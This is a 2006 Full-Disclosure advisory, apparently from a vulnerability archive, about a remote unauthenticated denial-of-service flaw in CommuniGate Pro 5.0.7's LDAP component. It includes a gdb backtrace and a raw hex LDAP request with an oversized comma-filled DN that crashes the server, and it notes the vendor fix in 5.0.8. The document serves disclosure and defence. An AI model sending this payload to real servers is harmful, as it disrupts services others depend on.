Basic search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:11306
HistoryFeb 05, 2006 - 12:00 a.m.

[Full-disclosure] ProtoVer LDAP vs CommuniGate Pro 5.0.7

2006-02-0500:00:00
vulners.com
14

I. DESCRIPTION

CommuniGate Pro Core Server from CommuniGate Systems provides robust cross-platform
groupware applications, enabling a cost effective, easy to manage communications platform.

For more info visit http://www.stalker.com

II. DETAILS

ProtoVer LDAP testsuite v1.5 uncovered critical Denial of Service vulnerability
in LDAP component of CommuniGate Pro Server 5.0.7

The vulnerability could be used by a remote unauthenticated attacker to crash the server.

Example debug session is below.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1458242640 (LWP 25554)]
0x080fa008 in VDirectoryFile::findParentDN ()
(gdb) backtrace
#0 0x080fa008 in VDirectoryFile::findParentDN ()
#1 0x080fa031 in VDirectoryFile::findParentDN ()

#353 0x080fa031 in VDirectoryFile::findParentDN ()
#354 0x080fcc6f in VDirectoryFile::findRecords ()
#355 0x080efc23 in VDirectory::findDirectoryRecords ()
#356 0x081b09b3 in VLDAPInput::processInput ()
#357 0x082cb5a3 in VStream::worker ()
#358 0x082cc419 in VStream::starter ()
#359 0x0839c369 in STThreadStarter ()
#360 0xa9a09b80 in start_thread () from /lib/libpthread.so.0
#361 0xa9976dee in clone () from /lib/libc.so.6

To reproduce the vulnerability, send the following data to LDAP port:
"""
30 82 02 38 02 01 01 63 82 02 31 04 82 02 15 64
63 3d 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c 2c
2c 2c 2c 64 63 3d 65 78 61 6d 70 6c 65 2c 64 63
3d 63 6f 6d 0a 01 02 0a 01 00 02 01 00 02 01 00
01 01 00 a2 05 87 03 66 6f 6f 30 00
"""

III. VENDOR RESPONSE

The vendor has released 5.0.8 version which addresses this issue.

Quote from http://www.stalker.com/CommuniGatePro/History.html:

"""
5.0.8 03-Feb-06
* Directory: DN processing changed to avoid problems with DNs containing too many (>100) elements.
"""

IV. CREDIT

The vulnerability has been found using GLEG Ltd's ProtoVer LDAP testsuite:
http://www.gleg.net/protover_ldap.shtml


Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/